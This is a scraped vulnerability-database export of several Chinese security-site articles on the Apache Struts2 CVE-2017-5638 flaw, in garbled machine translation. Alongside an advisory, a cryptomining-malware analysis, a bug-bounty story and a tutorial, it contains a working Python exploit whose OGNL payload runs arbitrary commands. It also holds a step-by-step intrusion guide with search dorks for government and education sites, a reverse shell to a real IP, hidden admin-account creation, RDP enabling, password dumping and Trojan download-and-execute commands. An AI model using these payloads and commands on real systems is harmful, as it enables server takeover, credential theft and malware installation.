["CVE-2017-5638"], "modified": "2017-03-16T00:00:00", "id": "SAINT:484D58D595B8F6CEE787306160971308", "href": "https://download.saintcorporation.com/cgi-bin/exploit_info/apache_struts2_jakarta_file_upload_command_execution", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "myhack58": [{"lastseen": "2017-03-08T11:52:28", "description": "1.1 CVE-2017-5638 vulnerability profile\nApache Struts 2 is the world's most popular JavaWeb Server framework. However, in Struts 2 found that the presence of high-risk security vulnerability, CVE-2017-5638,S02-45,and the vulnerability impact to: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts2. 5. 10 \nVulnerability ID: CVE-2017-5638 \nVulnerability rating: HIGH \nVulnerability name: S2-045: Struts 2 remote code execution vulnerability\nVulnerability impact: based on the JakartaMultipart the parser implementation file upload when possible RCE \nAffected version: Struts 2.3.5-Struts 2.3.31 \nThe Struts 2.5-Struts 2.5.10 \nRepair solutions: \nUpgrade to Struts2. 3. 32 or the Struts 2.5.10.1 \nStruts2. 3. 32 download address: \nhttps://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32 \nStruts2. 5. 10. 1 Download: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1 \nThe vulnerability principle: Struts2 default parse the uploaded file's Content-Type header, there is a problem. In the Parse error case, the error information in the OGNL code. \n1.2 hazard assessment\nAfter the actual test, as long as the vulnerability exists for windows and linux are Server Permissions. Great harm, to be sure for many people tonight is a sleepless night. \n1. 3 vulnerabilities in the actual use of 1. 3. 1 Ready to work\n1\uff0e Get ready for a jsp webshell, the Save on the site, for example, may be 1. txt and other text file, for network download. \n2\uff0e Ready to have a separate IP of the server, \u5728\u4e0a\u9762\u6709nc.exe the. \n3\uff0e Prepare python environment. \nGeneral use python2. 7. 13 version, download address: https://www.python.org/downloads/release/python-2713/, according to the[operating system](<http://www.myhack58.com/Article/48/Article_048_1.htm>)version of the Select the installation, after the installation is complete first run will error, you need to install a module, shown in Figure 1. Need to install the poster. the encode module download address: https://pypi. python. org/pypi/poster/, the \u7136\u540e \u5230 \u8be5 \u76ee\u5f55 \u6267\u884c pythonsetup.py install, to install. Note that in python if you do not set system variables, you'll need to strip the full path to execute. For example: \nC:\\Python27\\python.exeC:\\Python27\\poster-0.8.1\\setup.py install \n! [](/Article/UploadPic/2017-3/20173818228916. jpg? www. myhack58. com) \nFigure 1 The Missing poster. the encode module \n4\uff0e Get a variety of action page \n\uff081\uff09by zoomeye to get a variety of action page to search the index. action, login. action, info. action and the like. \n\uff082\uff09Baidu aunt law\ninurl:index. actionsite:edu. cn \ninurl:index. actionsite:gov. cn \ninurl:index. actionsite:com. cn \nNote: don't vandalize, and now the network security method very good it!!! \n1.3.2 modify the poc exploit code\n1. For the linux version of the modified whoami values: bash-i>& /dev/tcp/122.115.47.39/4433 0>&1 \nDescription of 122. 115. 47. 39 for a rebound the Monitoring Server IP, port 4433, the \u7136\u540e \u5c06 \u6587\u4ef6 \u4fdd\u5b58 \u4e3a poclinux.py as shown in Figure 2. Also there can be some other common commands: id, whomai, cat /etc/passwd, cat/etc/shadow, etc. You can modify the corresponding parameters and keep a different name. \n! [](/Article/UploadPic/2017-3/20173818228744. jpg? www. myhack58. com) \nFigure 2 modify the linux poc exploit code\n2. Corresponding Windows Server, modify the whomai value: \nnet user antian365$ Wsantian365!*/ add \nnet localgroup administratorsantian365$ /add \n\u5206\u522b \u5c06 poc \u6587\u4ef6 \u4fdd\u5b58 \u4e3a pocwin1.py and pocwin2.py as shown in Figure 3. \n! [](/Article/UploadPic/2017-3/20173818228139. jpg? www. myhack58. com) \nFigure 3 modify the windows under the use of the code\n1.3.3 under Windows fast implement penetration\n1. Each other to open up 3389 \n\uff081\uff09scanning each other whether to open the 3389, open a, respectively, to execute: \npocwin1.py http://www.myhack58.com/index.action \npocwin2.py http://www.myhack58.com/index.action \nIf the other loopholes, then it will directly add a user\u201cantian365$\u201d, password\u201cWsantian365!*\u201d, the Server to open the 3389, sign up and then download wce64, directly wce64 \u2013w to get the current login password, be sure to use administrator rights to execute. \n\uff082\uff09directly on 3389 \nIn the parameters were modified three times, execute the following code three times, you can open 3389. \nwmic /namespace:\\\\\\root\\cimv2\\terminalservices pathwin32_terminalservicesetting where (__CLASS != \"\") callsetallowtsconnections 1 \nwmic/namespace:\\\\\\root\\cimv2\\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 \nreg add\"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f \n3389 is open on the condition that the other party is independent of the IP, if it is within the network IP the case of the second method. \n2. The Trojan executes the law\n\uff081\uff09Download the Trojan\nFirst you need to prepare a Trojan program, you need to through win2008. Then modify the win. py in the whoami parameters: \nGermany /transfer myjob1/download /priority normal http://www.myhack58.com/ma.exe c:\\windows\\temp\\ma.exe \nma. exe save in www. myhack58. com web site root directory, it will download directly to the other party c:\\windows\\temp directory. \n\uff082\uff09the execution of the Trojan, to modify the poc in the whoami parameters for the ma. exe to the true path and the address, as follows. Run save after the poc is in the original implementation. \nc:\\windows\\temp\\ma.exe \n1.3. 4Linux under the rapid penetration of the ideas\n1. On a standalone server to perform monitoring, required in the independent IP on the server, execute\u201cnc \u2013vv\u2013l \u2013p 4433\u201d, you can perform the connection about this IP the 4433 port. For example, http://www. myhack58. com:4433, if the listening port has data, it indicates the normal, otherwise check the firewall rules. \n2. Perform poc \n\n\n**[1] [[2]](<84086_2.htm>) [[3]](<84086_3.htm>) [next](<84086_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-08T00:00:00", "type": "myhack58", "title": "How fast the use of s02-45 vulnerability to gain server access-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-08T00:00:00", "id": "MYHACK58:62201784086", "href": "http://www.myhack58.com/Article/html/3/62/2017/84086.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-03-07T09:25:02", "description": "Recently, the national information security vulnerabilities library CNNVD received on the Apache Struts2 \uff08S2-045 remote code execution vulnerability CNNVD-201703-152 the case of the message send. Because the vulnerability affects a wide range of hazard level high, the national information security vulnerabilities library CNNVD for the tracking analysis, the situation is as follows: \nA, vulnerability introduction\nApache Struts is a United States Apache\uff08the Apache Software Foundation is responsible for the maintenance of an open source project, is used to create enterprise-class Java Web application open source MVC framework, mainly to provide two versions of the frame product: Struts 1 and Struts 2 of. \nApacheStruts 2.3.5 \u2013 2.3. 31 version and 2. 5 \u2013 2.5.10 version there is a remote code execution vulnerability CNNVD-201703-152, CVE-2017-5638 it. The vulnerability is due to the upload functionality of the exception handling function does not properly handle user input error information. Lead to a remote attacker by sending malicious packets that exploit the vulnerability in the affected on the server execute arbitrary commands. \nSecond, the vulnerability to hazards\nAn attacker can send malformed HTTP packet to exploit the vulnerability in the affected server to perform system commands, and further can completely control the server, causing a denial of service, data leakage, website creation tampering and other effects. Since the exploit without any pre-conditions such as open dmi, debug, and other functions, and enable any plugins, and therefore vulnerability to harm is more serious. \nThird, the repair measures\nCurrently, the Apache official has been directed to the vulnerabilities released a security announcement. Please the affected users to check whether or not affected by the vulnerability. \nSelf-examination manner\n\u7528\u6237 \u53ef \u67e5\u770b web \u76ee\u5f55 \u4e0b /WEB-INF/lib/ \u76ee\u5f55 \u4e0b \u7684 struts-core.x.x.jar file, if the version in Struts2. 3. 5 to Struts2. 3. 31 and Struts2. 5 to Struts2. 5. 10 between the presence of vulnerabilities. \nUpgrade repair\nAffected users can upgrade to version to Apache Struts 2.3.32 or Apache Struts 2.5.10.1 to eliminate the vulnerability. \nTemporary relief\nAs the user inconvenient to upgrade, may take the following temporary solution: \nl delete commons-fileupload-x. x. x. the jar file will cause the upload function is not available. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "myhack58", "title": "About Apache Struts2\uff08S2-045\uff09vulnerability briefings-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-07T00:00:00", "id": "MYHACK58:62201784024", "href": "http://www.myhack58.com/Article/html/3/62/2017/84024.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-03-07T09:25:04", "description": "! [](/Article/UploadPic/2017-3/201737152244987. png? www. myhack58. com) \nFreeBuf last exposure of the Struts 2 vulnerability is already more than six months ago. This vulnerability is a RCE remote code execution vulnerability. Simple to say, based on Jakarta Multipart resolver for file upload, exploit the vulnerability for remote code execution. The vulnerability by the constant information Nike Zheng reported. \nApache Struts is a United States Apache\uff08the Apache Software Foundation is responsible for the maintenance of an open source project, is used to create enterprise-class Java Web application open source MVC framework. \nVulnerability number\nCVE-2017-5638 \nVulnerability description\nThe Struts use the Jakarta parsing file upload request packet properly, when the remote attacker would construct a malicious Content-Type that could lead to remote command execution. \nIn fact in default. properties file, struts. multipart. parser of values there are two options, namely jakarta and pell in the original actually there is a third option cos it. Wherein the jakarta parser is the Struts 2 framework of the standard components. By default, jakarta is enabled, so the vulnerability of the seriousness of the need to get to grips with it. \nThe scope of the impact\nThe Struts 2.3.5 \u2013 Struts 2.3.31 \nThe Struts 2.5 \u2013 Struts 2.5.10 \nSolution\nIf you are using based on the Jakarta file upload Multipart resolver, please upgrade to Apache Struts 2.3. 32 or 2. 5. 10. 1 version; or you can switch to a different implementation of file upload Multipart resolver. \nVulnerability PoC \n#! /usr/bin/env python \n# encoding:utf-8 \nimport urllib2 \nimport sys \nfrom poster. encode import multipart_encode \nfrom poster. streaminghttp import register_openers \nheader1 ={ \n\"Host\":\"alumnus. shu. edu. cn\", \n\"Connection\":\"keep-alive\", \n\"Refer\":\"alumnus. shu. edu. cn\", \n\"Accept\":\"*/*\", \n\"X-Requested-With\":\"XMLHttpRequest\", \n\"Accept-Encoding\":\"deflate\", \n\"Accept-Language\":\"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4\", \n} \ndef poc(): \nregister_openers() \ndatagen, headers = multipart_encode({\"image1\": open(\"tmp.txt\", \"rb\")}) \nheader[\"User-Agent\"]=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\" \nheader[\"Content-Type\"]=\"'%{(#nike,='multipart/form-data'). \n(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). \n(#_memberAccess? (#_memberAccess=#dm): \n((#container=#context['com. opensymphony. xwork2. ActionContext. container']). \n(#ognlUtil=#container. getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). \n(#ognlUtil. getExcludedPackageNames(). clear()). (#ognlUtil. getExcludedClasses(). clear()). \n(#context. setMemberAccess(#dm)))). (#cmd='cat /etc/passwd'). \n(#iswin=(@java.lang.System@getProperty('os. name'). toLowerCase(). contains('win'))). \n(#cmds=(#iswin? {'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). \n(#p=new java. lang. ProcessBuilder(#cmds)). (#p. redirectErrorStream(true)). \n(#process=#p. start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse(). \ngetOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process. getInputStream(),#ros)). \n(#ros. flush())}\"' \nrequest = urllib2. Request(str(sys. argv[1]),datagen,headers=header) \nresponse = urllib2. urlopen(request) \nprint the response. read() \n\npoc() \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "myhack58", "title": "Apache Struts2 exposure arbitrary code execution vulnerability (S2-045,CVE-2017-5638)-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-07T00:00:00", "id": "MYHACK58:62201784026", "href": "http://www.myhack58.com/Article/html/3/62/2017/84026.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-07-10T13:31:12", "description": "0\u00d71 Overview \nMany business websites use the Apache open source project to build a http server, which is most of the use of the Apache sub-project of Struts in. But since the Apache Struts2 Product code there are more risks, beginning in 2007, Struts2 will frequently broke multiple high-risk vulnerabilities. \nFrom the Apache official data, from 2007 to 2018 total published number S2-001 to S2-056 total of 56 vulnerabilities, of which only a remote code execution vulnerability Remote Code Execution on a 9. \n! [](/Article/UploadPic/2018-7/2018710164555841. png? www. myhack58. com) \n2017 3 months was reported out of the S2-045\uff08CVE-2017-5638 high-risk vulnerabilities, based on Jakarta Multipart parser implementation file upload may lead to an RCE, the impact of the range of the Struts 2.3.5 \u2013 Struts 2.3.31, as well as the Struts 2.5 \u2013 Struts 2.5.10 version, persists to be utilized for an attack. \n2018 year 4 months Tencent Yu see Threat Intelligence Center had been monitoring the hacker group exploit this vulnerability bulk of the invasion[the web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)implantation mining Trojan\uff08for more details, see the enterprise not fix Apache Struts 2 vulnerability-induced[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)is the bulk of the invasion article, the recent Royal to see the Threat Intelligence Center is again monitored a similar attack. \nThis attack, hackers use attack tools WinStr045 detecting the presence on the network vulnerability[web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), found that the presence of vulnerability of the machine through a remote execution of various types of instruction provide the right to, create, account, system information gathering, and then will be used to download the Trojan mas. exe the implant, then the use of mas. exe this Trojan Downloader from the plurality of C&C;address to download more Trojans: the \u5229\u7528\u63d0\u6743\u6728\u9a6co3/o6.exe and \u6316\u77ff\u6728\u9a6cnetxmr4.0.exe the. \nSince the bitcoin mining Trojan netxmr the decryption code after the module name\u201ckoi\u201dis loaded, therefore, Tencent Yu see Threat Intelligence Center will be named for KoiMiner it. Interestingly, intruders to ensure your mining success, it will check the system processes, CPU resource consumption, and if CPU usage exceeds 40%, it will be the end of the Run, will save the system resources for the mining of. \nAccording to the code traceability analysis, Tencent Yu see Threat Intelligence Center researchers believe that this KoiMiner series mining Trojan is probably some hacker forums, underground mining organizations to share in the community more people cooperation of the\u201cpractice\u201dworks. \n! [](/Article/UploadPic/2018-7/2018710164555994. png? www. myhack58. com) \nAttack process \nNote: Struts is based on MVC design pattern Web application framework, the user use of the framework can be business logic code from the presentation layer clearly separated, so as to focus on the business logic and the mapping relationship between the configuration file. Struts2 is Struts and WebWork combination, a combination of Struts and WebWork advantages, the use of interceptor mechanisms to process the user's request, so that business logic can with ServletAPI completely out of the opening. \n0\u00d72 a detailed analysis of the \n0 x 2.1 intrusion \nThe detection of the target system whether the presence of S2-045 vulnerability \n! [](/Article/UploadPic/2018-7/2018710164555176. png? www. myhack58. com) \nThe presence of the vulnerability of the system to attack \n! [](/Article/UploadPic/2018-7/2018710164555748. png? www. myhack58. com) \nInvasion tool for the selection of osmotic command \n! [](/Article/UploadPic/2018-7/2018710164555749. png? www. myhack58. com) \nThe invasion can be selected when execution of the command can also be self-defined,choose the command Windows, linux, penetration of commonly used commands, including viewing system version information, network connection status, port open status and add to the system with administrator privileges to the new user, open the remote connection service and other operations. \n! [](/Article/UploadPic/2018-7/2018710164555928. png? www. myhack58. com) \nThrough the directory view command to confirm C:\\Windows\\Help directory and C:\\ProgramData whether the directory has been implanted Trojan, if not then the mas. exe Trojan infection. The time of implantation to first create the C#code to text mas. cs, \u7136\u540e\u4f7f\u7528.NET\u7a0b\u5e8f\u5c06\u5176\u7f16\u8bd1\u4e3a\u53ef\u6267\u884c\u6587\u4ef6mas.exe the. \nFirst execute the command to create a mas. cs and write The for download code. \n! [](/Article/UploadPic/2018-7/2018710164555437. png? www. myhack58. com) \n\u7136\u540e\u6267\u884c\u547d\u4ee4\u5c06mas.cs\u901a\u8fc7.NET\u7a0b\u5e8f\u7f16\u8bd1\u4e3amas.exe the. \n! [](/Article/UploadPic/2018-7/2018710164555672. png? www. myhack58. com) \nCommand in the use of mas. exe download mining Trojan netxmr4. To 0. \n! [](/Article/UploadPic/2018-7/2018710164555433. png? www. myhack58. com) \nPart of the attack objectives are as follows: \n! [](/Article/UploadPic/2018-7/2018710164555651. jpg? www. myhack58. com) \nImplantation of mas. the exe size is only 4k,is stored in the directory ProgramData. From Yu see Threat Intelligence Center monitoring and recording can be seen, mas.exe\u4ece\u591a\u4e2aC2\u5730\u5740\u4e0b\u8f7d\u4e86netxmr4.exe(mining Trojan), the o3.exe/o6.exe(providing the right to Trojans)and other Trojans. \n! [](/Article/UploadPic/2018-7/2018710164555713. png? www. myhack58. com)\n\n**[1] [[2]](<90758_2.htm>) [[3]](<90758_3.htm>) [[4]](<90758_4.htm>) [next](<90758_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-07-10T00:00:00", "type": "myhack58", "title": "Apache Struts2 high-risk vulnerabilities cause the Enterprise Server is the invasion mounted KoiMiner mining Trojan-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-07-10T00:00:00", "id": "MYHACK58:62201890758", "href": "http://www.myhack58.com/Article/html/3/62/2018/90758.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-06-07T13:16:58", "description": "I always believe to share with people is a good trait, and I'm also from the vulnerability reward in the field of multi-bit security research experts learned a lot to make me last a lifetime things, so I decided in this article to share with you some of my recent little discovery, hope these things can help you Freebuf of friends early on their own vulnerability reward trip. \n! [](/Article/UploadPic/2017-6/201767192643555. png? www. myhack58. com) \nJust a few months ago, a security research expert in Apache Struts2, found a serious security vulnerability, CVE-2017-5638, probably some of you have heard of this thing. This is a remote code execution vulnerability, then Internet in a large number of Web applications are affected by this vulnerability. About three weeks later, researchers released the Struts2 exploit code. \nIn a dig before the Investigative process, I came across the following link: \nhttps://svdevems01.direct.gq1.yahoo.com/sm/login.jsp \nThis is Yahoo the a login page. \n! [](/Article/UploadPic/2017-6/201767192643648. png? www. myhack58. com) \nI have tried in this page find the vulnerability, but unfortunately I didn't find until I found the following nodes: \nhttps://svdevems01.direct.gq1.yahoo.com/sm/login/loginpagecontentgrabber.do \nNote: If you find a node address contains. action,. do or. go, then, this indicates that this Web application to run a Struts2 to. \nAs I said before, for the Struts2 vulnerability exploit code has been released, and this vulnerability using the process is also very simple. Although I know here there is vulnerability, but ready-made exploit code here does not work, so I feel may be a Web application firewall in the mischief, or that some of the things shield my attack. \nSince I was able to determine where there is indeed a vulnerability, so I couldn't stop. But if you want to submit a valid vulnerability, I have to provide a viable PoC to prove this vulnerability is valuable. After a period of research, I found an article tweet this article tweet describes how to pass a Payload to bypass the WAF and be successfully exploited this vulnerability. \nI the use of detection methods require the use of Content-Type HTTP header to send a specially crafted data packet, the header data as shown below: \nContent-Type:%{#context[\u2018com. opensymphony. xwork2. dispatcher. HttpServletResponse\u2019]. addHeader(\u2018X-Ack-Th3g3nt3lman-POC\u2019,4*4)}. multipart/form-data \nThis specially constructed request can not only make[the Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)to calculate the two multiplied by the number, and you can also request a[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)for any other form of operation. In the above example, the request to calculate the value of 4 * 4, the server returns the result of 16, which means that this server is the presence of security vulnerabilities. \nAs shown in the following figure, the response data will contain the new header, i.e. X-Ack-Th3g3nt3lman-POC: 16 \n! [](/Article/UploadPic/2017-6/201767192643394. png? www. myhack58. com) \nThese have enough I'm through HackerOne to Yahoo to submit a vulnerability report, Yahoo skilled in the art after receiving the report within 30 minutes of the vulnerabilities were classified, and then promptly will be the presence of vulnerabilities the application offline to fix this issue, a few days later I received a Yahoo to provide me with the 5500 knife vulnerability bonus. \nIn fact, digging a hole is not difficult, as long as you are willing to spend time, willing to move the brain to think, I believe thousands of dollars of vulnerability bonuses to everyone or can be easily in the bag. Finally, I hope my these little can be found to everyone in the burrow in the process bring some inspiration. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-06-07T00:00:00", "type": "myhack58", "title": "Burrow experience | to see how I find the Yahoo remote code execution vulnerability and get the 5500 knife bonus-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-06-07T00:00:00", "id": "MYHACK58:62201786819", "href": "http://www.myhack58.com/Article/html/3/62/2017/86819.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-03-30T00:37:24", "description": "Through this article, we mainly learn how Apache Struts to achieve OGNL injection. Our examples will be set forth in the Struts of the two critical vulnerabilities: CVE-2017-5638\uff08Equifax information disclosure and CVE-2018-11776\u3002 \nApache Struts is a free open source framework for creating modern Java Web applications. Apache Struts has many serious vulnerabilities, one of its characteristics is to support OGNL object graph navigation language, which is also many loopholes is the main reason. \nOne vulnerability, CVE-2017-5638 directly leads to the 2017 Equifax information leakage, exposure to more than 1. 45 million US citizens personal information. Although the company's annual revenue more than 30 billion dollars, but they still did not escape the Apache Struts MVC framework of a known vulnerability attack. \nThis paper mainly introduces the Apache Struts, and then will guide us how to modify a simple application, the use of OGNL and achieve exploits. Next, we will study in depth the platform on a number of Public Exploit way, and try to use OGNL injection vulnerability. \nAlthough Java developers are familiar with Apache Struts, but the security community often does not do however, which is why we wrote this article for the reason. \nGetting started \nRunning a vulnerable Struts application need to install Apache Tomcat [Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>a). The package of the latest version can be downloaded here as a ZIP. The binary file decompress to a location of your choice we use/var/tomcat, and continues: \ncd /var/tomcat/bin # go to the unzipped folder \nchmod +x *. sh # set the script to executable file \n./ startup.sh # run the startup script \nOur visit to http://localhost:8080/, and check whether the site running. \nAfter the confirmation, we are ready to download the old version of the Apache Struts framework, which is vulnerable to our upcoming demo of the vulnerability attack. This page provides to meet our needs 2. 3. 30 version The Struts in. \nIn the extract compressed content, we should be in the/apps position seen under struts2-showcase. war file. This is one use of the Struts compiled and ready to deploy demo application. Just need the WAR file is copied to/var/tomcat/webapps, and access http://localhost:8080/struts2-showcase/showcase. action confirm whether it is valid. \n[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)the basics \nIf you have a good grasp of the Java Web applications related to simple concepts such as Servlets, then you would have been leading. If you are new to the Java Servlet knows nothing about, it can be understood simply as a component, its purpose is to create for in the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)hosted on Web applications the Web container, in addition, it is also responsible for the processing of the/struts2-showcase and other Java applications request. \nTo the processing Servlet, the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), for example Apache Tomcat requires some Assembly: \n1\\. Apache Coyote is to support the HTTP/1.1 Protocol connector. It allows the Servlet container components of Apache Catalina to communicate. \n2\\. Apache Catalina container when determined in the Tomcat receives an HTTP request, you need to call which the Servlet container. It will also HTTP request and response from the text is converted to a Servlet using a Java object. \n! [](/Article/UploadPic/2019-3/201933032655612. png) \nHere you can find information about the Java Servlet specification for all the details of the latest version 4. 0 in. \nApache Struts basics \nWith Java Web applications using the Apache Struts Framework application can have multiple Servlet. This article's main purpose is not to let everyone understand this to build the Web application framework, but on the surface the hang of the basic concepts. We can step-by-step tutorial on the subject. \nThe Apache Struts framework relies on MVC model-View-Controller architecture pattern. IT application very helpful, because you can separate the main application components: \n1\\. Model: represents the application data, for example, using\u201corders\u201dand other data of the class. \n2\\. View: is the output of the application, the visual part. \n3\\. The controller: receiving a user input, using the model to generate the view. \n4\\. Action Actions: the Apache Struts in the model. \n5\\. Intercept the Interceptors: the part of the controller, they can be in processing the request before or after the invocation of the hook. \n6\\. Value stack/OGNL: a set of objects, for example, model or action object. \n7\\. Result/result type: used to select business logic view. \n8\\. View of technology: the processing of data display. \nYou can see below the Apache Struts Web application General architecture: \n! [](/Article/UploadPic/2019-3/201933032655347.jpg) \nController receives the HTTP request, the FilterDispatcher is responsible for according to the request to invoke the right Operation. And then perform the operation, the view component is ready for a result and sends it to the HTTP response in the user. \nStruts application example \nYou want to start from scratch to write a Struts application takes some time, so we will use an already available rest-showcase demo application, which is a basic front-end a simple REST API. To compile the application, we only need to go into its directory and use Maven to compile: \ncd struts-2.3.30/src/apps/rest-showcase/ \nmvn package \nIn the target directory, we can find the following files: struts2-rest-showcase. war. You can copy it to the Tomcat server's webapps directory, for example:/var/tomcat/webapps to install it. \nThe following is the application source code: \n! [](/Article/UploadPic/2019-3/201933032655780. png) \nThe following are the available file description: \n1\\. Order. java is model, which is a storing order information of a Java class. \npublic class Order { \nString id; \nString clientName; \nint amount; \n... \n} \n2\\. OrdersService. java is a Helper class, which will be the Orders stored in the HashMap of the total, and its management. \npublic class OrdersService { \n\n\n**[1] [[2]](<93410_2.htm>) 